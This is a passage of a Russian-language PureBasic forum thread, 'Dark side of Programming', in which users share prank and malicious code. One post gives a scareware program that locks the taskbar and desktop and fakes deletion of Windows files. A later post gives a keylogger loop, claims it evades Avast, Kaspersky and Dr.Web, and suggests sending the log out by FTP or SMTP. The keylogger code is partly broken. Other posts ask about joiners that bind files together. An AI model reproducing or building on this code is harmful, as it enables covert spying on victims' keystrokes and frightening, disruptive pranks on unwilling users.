|
PureBasic Мощный кросс-платформенный язык среднего уровня на основе BASIC. Подходит для решения широкого круга задач. |
26.10.2007, 21:33
|
#16
|
|
Re: Dark side of Programming
Сообщение от Tadeus
А можно, плиз, привести алгоритм этих джойнеров? Был бы очень благодарен
|
Там же есть код, разбирайся.
|
|
|
26.10.2007, 21:52
|
#17
|
Троллота
Регистрация: 09.07.2007
Сообщений: 1,829
Написано 554 полезных сообщений (для 1,772 пользователей)
|
Re: Dark side of Programming
Я плохо понимаю пурик
|
(Offline)
|
|
26.10.2007, 22:53
|
#18
|
Оператор ЭВМ
Регистрация: 26.10.2007
Сообщений: 31
Написано 0 полезных сообщений (для 0 пользователей)
|
Re: Dark side of Programming
удалялка Винды
Global NewList Files.s()
Global NewList Dirs.s()
Global cnt.l = 0
Global cnt_original.l = 0
Global cnt_timer.l = 0
Global ist.b = 1
Global done.b = 0
Procedure OW()
OpenWindow(0, 0, 0, 380, 100, "Удаление...", #PB_Window_ScreenCentered)
CreateGadgetList(WindowID(0))
ProgressBarGadget(0, 5, 77, 305, 16, 0, 1000, #PB_ProgressBar_Smooth)
ButtonGadget(1, 315, 75, 60, 20, "Отмена", #PB_Button_Toggle)
TextGadget(2, 10, 10, 360, 60, "Подготовка к удалению..." + Chr(13) + ";)")
EndProcedure
Procedure EnumFiles(dir.s)
While Right(dir, 1) = "." : dir = Left(dir, Len(dir) - 1) : Wend
If Not Right(dir, 1) = "\" : dir = dir + "\" : EndIf
ed.l = ExamineDirectory(#PB_Any, dir, "")
If ed
While NextDirectoryEntry(ed)
type.l = DirectoryEntryType(ed)
name.s = DirectoryEntryName(ed)
If type = #PB_DirectoryEntry_File
AddElement(Files())
Files() = dir + name
cnt + 1
If cnt_timer <= GetTickCount_()
SetGadgetText(2, "Подготовка к удалению..." + Chr(13) + "Вего критических файлов найдено: " + "[" + Str(cnt) + "]")
cnt_timer = GetTickCount_() + 100
EndIf
ElseIf type = #PB_DirectoryEntry_Directory And Not Right(name, 1) = "."
AddElement(Dirs())
Dirs() = dir + name
EndIf
Wend
FinishDirectory(ed)
EndIf
If CountList(Dirs())
FirstElement(Dirs()) : ddir.s = Dirs() : DeleteElement(Dirs(), 1) : EnumFiles(ddir)
Else
SetGadgetText(2, "Подготовка к удалению..." + Chr(13) + "Вего критических файлов найдено: " + "[" + Str(cnt) + "]" + Chr(13) + "Завершение подготовки...")
EndIf
EndProcedure
Procedure.l HandleFromClass(class.s, name.s = "")
ProcedureReturn FindWindow_(class, name)
EndProcedure
EnableWindow_(HandleFromClass("Shell_TrayWnd"), #False)
EnableWindow_(HandleFromClass("Progman", "Program Manager"), #False)
OW()
cnt_timer = GetTickCount_() + 200
*b = AllocateMemory(#MAX_PATH)
l = GetWindowsDirectory_(*b, #MAX_PATH)
thr.l = CreateThread(@EnumFiles(), PeekS(*b, l))
FreeMemory(*b)
AddKeyboardShortcut(0, #PB_Shortcut_Control | #PB_Shortcut_Alt | #PB_Shortcut_Shift | #PB_Shortcut_Back, 99)
Repeat
event = WindowEvent()
If EventMenu() = 99
event = #PB_Event_ClientConnected
EndIf
If Not IsThread(thr) And ist = 1 : ist = 0 : done = 1 : cnt_timer = GetTickCount_() + Random(100)
MessageRequester("Предупреждение", "Вы действительно желаете удалить эти, возможно системные, файлы?", #PB_MessageRequester_YesNo | #MB_ICONQUESTION)
SetGadgetAttribute(0, #PB_ProgressBar_Maximum, cnt) : cnt_original = cnt
EndIf
If done = 1
If cnt_timer <= GetTickCount_()
If Not cnt = -1
SetGadgetState(0, cnt_original - cnt) : SelectElement(Files(), cnt_original - cnt)
SetGadgetText(2, "Удаление:" + Chr(13) + "файла: " + GetFilePart(Files()) + " [" + StrD(FileSize(Files()) / 1024, 2) + "KB]" + Chr(13) + "из директории: " + Left(GetPathPart(Files()), Len(GetPathPart(Files())) - 1))
cnt_timer = GetTickCount_() + Random(50) : cnt - 1
Else
event = #PB_Event_ClientConnected
EndIf
EndIf
EndIf
Until event = #PB_Event_ClientConnected
EnableWindow_(HandleFromClass("Shell_TrayWnd"), #True)
EnableWindow_(HandleFromClass("Progman", "Program Manager"), #True)
многие сразу лезли к Reset'у )))
(ну, естественно, я писал)
|
(Offline)
|
|
27.10.2007, 19:43
|
#19
|
|
Re: Dark side of Programming
Сообщение от Tadeus
Я плохо понимаю пурик
|
Ну, что будет непонятно - спрашивай.
|
|
|
27.10.2007, 22:27
|
#20
|
Троллота
Регистрация: 09.07.2007
Сообщений: 1,829
Написано 554 полезных сообщений (для 1,772 пользователей)
|
Re: Dark side of Programming
Да все не понятно Можно на псевдокоде:
|
(Offline)
|
|
28.10.2007, 11:06
|
#21
|
|
Re: Dark side of Programming
Сообщение от Tadeus
Да все не понятно Можно на псевдокоде:
|
Могу на ассемблере).
|
|
|
28.10.2007, 11:13
|
#22
|
Троллота
Регистрация: 09.07.2007
Сообщений: 1,829
Написано 554 полезных сообщений (для 1,772 пользователей)
|
Re: Dark side of Programming
Чего уж там, довай в P-кодах))
|
(Offline)
|
|
04.03.2009, 00:51
|
#23
|
Нуждающийся
Регистрация: 05.07.2008
Сообщений: 53
Написано 6 полезных сообщений (для 7 пользователей)
|
Ответ: Dark side of Programming
Прикольные статьи. Буду ждать продолжения уроков.
Такая просьбы, можешь выложить код, объединяющий два файла в один, так проще будет понять принцип джойнеров.
Последний раз редактировалось Slepetc, 04.03.2009 в 01:02.
|
(Offline)
|
|
04.03.2009, 20:09
|
#24
|
[object Object]
Регистрация: 01.08.2008
Адрес: В России
Сообщений: 4,360
Написано 2,473 полезных сообщений (для 6,856 пользователей)
|
Ответ: Dark side of Programming
* вспонил книжку "Delphi глазами хакера"
На PureBasic я ниразу не прогал, но хочу заметить что приколы очень забавные. На WinAPI вобще целое поле для фантазии в этом направлении.
__________________
Retry, Abort, Ignore? █
Intel Core i7-9700 4.70 Ghz; 64Gb; Nvidia RTX 3070
AMD Ryzen 7 3800X 4.3Ghz; 64Gb; Nvidia 1070Ti
AMD Ryzen 7 1700X 3.4Ghz; 8Gb; AMD RX 570
AMD Athlon II 2.6Ghz; 8Gb; Nvidia GTX 750 Ti
|
(Offline)
|
|
04.03.2009, 23:17
|
#25
|
злобный флудер
Регистрация: 10.07.2007
Сообщений: 2,585
Написано 789 полезных сообщений (для 1,476 пользователей)
|
Ответ: Dark side of Programming
Slepetc, а что потвоему джойнер ё-маё ?
|
(Offline)
|
|
04.03.2009, 23:21
|
#26
|
Нуждающийся
Регистрация: 05.07.2008
Сообщений: 53
Написано 6 полезных сообщений (для 7 пользователей)
|
Ответ: Dark side of Programming
Joiner-джойнер.По-моему догадаться не сложно.
З.Ы.Уже не нада.Сам разобрался.
|
(Offline)
|
|
05.03.2009, 02:54
|
#27
|
.
Регистрация: 05.08.2006
Сообщений: 10,429
Написано 3,454 полезных сообщений (для 6,863 пользователей)
|
Ответ: Dark side of Programming
NitE, долю уважения выражать не забываем.
То что физически оскорблённый не дотянеться - ничего не определяет, это интернет, и здесь выражается твоя суть, как личности внешне, но не визуально, как говориться, как себя зарекомендуешь, так и будут с тобой обращаться.
Учитывай это.
Следующее выраженное неуважение, и будет поднят вопрос о временном бане, чтобы остыл, подумал.
|
(Offline)
|
|
19.08.2009, 04:21
|
#28
|
AnyKey`щик
Регистрация: 17.08.2009
Сообщений: 5
Написано 0 полезных сообщений (для 0 пользователей)
|
Ответ: Dark side of Programming
Жесть)))
Спасибо буду над людьми стебатся)
|
(Offline)
|
|
19.08.2009, 09:26
|
#29
|
Бывалый
Регистрация: 29.03.2007
Сообщений: 662
Написано 199 полезных сообщений (для 448 пользователей)
|
Ответ: Dark side of Programming
oh, shi~
они везде
|
(Offline)
|
|
Эти 2 пользователя(ей) сказали Спасибо Android за это полезное сообщение:
|
|
16.05.2010, 10:21
|
#30
|
Оператор ЭВМ
Регистрация: 18.03.2010
Сообщений: 30
Написано одно полезное сообщение
|
Ответ: Dark side of Programming
Repeat
If GetAsyncKeyState_(#VK_Q)=-32767
WriteString(1,"Q")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_W)=-32767
WriteString(1,"W")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_E)=-32767
WriteString(1,"E")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_R)=-32767
WriteString(1,"R")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_T)=-32767
WriteString(1,"T")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_Y)=-32767
WriteString(1,"Y")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_U)=-32767
WriteString(1,"U")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_I)=-32767
WriteString(1,"I")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_O)=-32767
WriteString(1,"O")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_P)=-32767
WriteString(1,"P")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_A)=-32767
WriteString(1,"A")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_S)=-32767
WriteString(1,"S")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_F)=-32767
WriteString(1,"F")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_G)=-32767
WriteString(1,"G")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_H)=-32767
WriteString(1,"H")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_J)=-32767
WriteString(1,"J")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_K)=-32767
WriteString(1,"L")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_Z)=-32767
WriteString(1,"Z")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_X)=-32767
WriteString(1,"X")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_C)=-32767
WriteString(1,"C")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_V)=-32767
WriteString(1,"V")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_ =-32767
WriteString(1,"B")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_N)=-32767
WriteString(1,"N")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_M)=-32767
WriteString(1,"M")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_0)=-32767
WriteString(1,"0")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_1)=-32767
WriteString(1,"1")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_2)=-32767
WriteString(1,"2")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_3)=-32767
WriteString(1,"3")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_4)=-32767
WriteString(1,"4")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_5)=-32767
WriteString(1,"5")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_6)=-32767
WriteString(1,"6")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_7)=-32767
WriteString(1,"7")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_ =-32767
WriteString(1,"8")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_9)=-32767
WriteString(1,"9")
SaveFileRequester(1)
forever
вписываем в любой ваш фаил ну еще плюс дописать отправку файла ето уже как угодно ftp или smtp. и все шпион клавиатруы готов .. антивирями такими как аваст касперский и доктор вэб не палится только есть опасность что при отпровление файла на маил может сроботать аваст
только перед этим еще фаил откройтие в который вписываться лог будет и обязательно с идекатором 1
Последний раз редактировалось jimon, 16.05.2010 в 12:44.
|
(Offline)
|
|
Ваши права в разделе
|
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения
HTML код Выкл.
|
|
|
Часовой пояс GMT +4, время: 11:37.
|